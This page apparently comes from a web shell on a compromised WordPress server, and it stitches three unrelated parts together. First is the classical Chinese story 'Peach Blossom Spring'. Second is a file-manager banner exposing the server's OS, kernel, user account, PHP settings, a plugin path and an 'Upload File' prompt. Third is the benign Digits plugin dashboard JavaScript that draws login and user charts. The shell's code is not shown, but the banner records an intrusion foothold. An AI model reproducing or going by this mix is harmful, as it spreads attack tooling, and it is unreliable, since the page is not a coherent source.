晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/rainic/public_html/oldTZh/wp-content/plugins/digits/admin/assets/js/ |
Upload File : |
var graph_height = 242;
var dashboard = jQuery('.dig_admin_dashboard_wrapper');
function load_dashboard_data() {
if (!jQuery('#digits_dashboard_view').length) {
return;
}
get_data('users');
get_data('login');
}
function get_data(graph_type) {
var formData = {};
formData.action = 'digits_admin_dashboard_stats';
formData.graph_type = graph_type;
formData.nonce = digdashboard.nonce;
jQuery.ajax({
type: "POST",
url: digdashboard.ajax_url,
data: formData,
success: function (res) {
if (res.success) {
var data = res.data;
if (data.type === 'logins') {
var wrapper = dashboard.find('#digits_dashboard_graph_logins_stats');
wrapper.find('.dig_admin_dashboard_graph_total_value').text(data.total_data);
render_total_logins_graph(data.graph);
} else if (data.type === 'user') {
var wrapper = dashboard.find('#digits_dashboard_graph_users_stats');
wrapper.find('.dig_admin_dashboard_graph_total_value').text(data.total_data);
render_total_user_graph(data.graph);
var total_time_save = data.total_time_save;
var total_otps = data.total_otps;
dashboard.find('.dig_admin_stat_min_saved').text(total_time_save);
dashboard.find('.dig_admin_stat_otp_del').text(total_otps);
}
}
},
error: function () {
}
});
}
function render_total_logins_graph(data) {
var options = {
series: [{
name: 'logins',
data: data
}],
chart: {
height: graph_height,
type: 'area',
background: '#fff',
zoom: {
enabled: false,
},
toolbar: {
show: false,
tools: {
download: false,
}
},
},
colors: ['#7d39ff'],
grid: {
show: false,
padding: {
left: 0,
right: 0,
}
},
yaxis: {
show: false,
},
dataLabels: {
enabled: false
},
stroke: {
curve: 'smooth'
},
xaxis: {
axisBorder: {
show: false,
},
axisTicks: {
show: false,
},
tooltip: {
enabled: false,
},
type: 'datetime',
labels: {
datetimeFormatter: {
year: '',
month: "MMM",
day: '',
hour: '',
},
style: {
cssClass: 'digits_admin_dashboard_graph_labels',
},
}
},
tooltip: {
custom: function (d) {
var dataPointIndex = d.dataPointIndex;
var obj = data[dataPointIndex];
var timestamp = obj[0];
var number = obj[1];
var date = new Date(timestamp);
var options = {month: 'short'};
var date_str = date.getDate() + ' ' + date.toLocaleDateString("en-us", options);
var dts = '<span class="x_label"> on ' + date_str + '</span>';
return '<div class="digits_dashboard_graph_tooltip">' +
'<span>' + number + dts + '</span>' +
'</div>'
}
},
fill: {
colors: ['#7d39ff'],
type: 'gradient',
gradient: {
opacityFrom: 0.5,
opacityTo: 0,
stops: [0, 100]
}
},
};
var chart = new ApexCharts(document.querySelector("#digits_dashboard_graph_logins"), options);
chart.render();
}
function render_total_user_graph(data) {
var options = {
series: [{
name: "users",
data: data
}],
grid: {
show: false
},
yaxis: {
show: false,
},
chart: {
type: 'bar',
height: graph_height,
background: '#fff',
zoom: {
enabled: false,
},
toolbar: {
show: false,
tools: {
download: false,
}
},
},
fill: {
type: 'gradient',
colors: ['rgba(125, 57, 255, 0.7)'],
gradient: {
type: "vertical",
gradientToColors: ['rgba(125, 57, 255, 0.4)'],
inverseColors: false,
opacityFrom: 1,
opacityTo: 1,
stops: [0, 100],
}
},
plotOptions: {
bar: {
borderRadius: 8,
borderRadiusApplication: 'end',
},
},
dataLabels: {
enabled: false,
},
xaxis: {
type: 'category',
labels: {
formatter: function (val) {
return val;
},
style: {
cssClass: 'digits_admin_dashboard_graph_labels',
},
},
crosshairs: {
show: false
},
axisBorder: {
show: false,
},
axisTicks: {
show: false,
},
},
tooltip: {
custom: function (data) {
var series = data.series;
var seriesIndex = data.seriesIndex;
var dataPointIndex = data.dataPointIndex;
var w = data.w;
return '<div class="digits_dashboard_graph_tooltip">' +
'<span>' + series[seriesIndex][dataPointIndex] + '</span>' +
'</div>'
}
},
states: {
hover: {
filter: {
type: 'none',
value: 0,
}
},
active: {
filter: {
type: 'none',
value: 0,
}
},
}
};
var chart = new ApexCharts(document.querySelector("#digits_dashboard_graph_users"), options);
chart.render();
}
load_dashboard_data();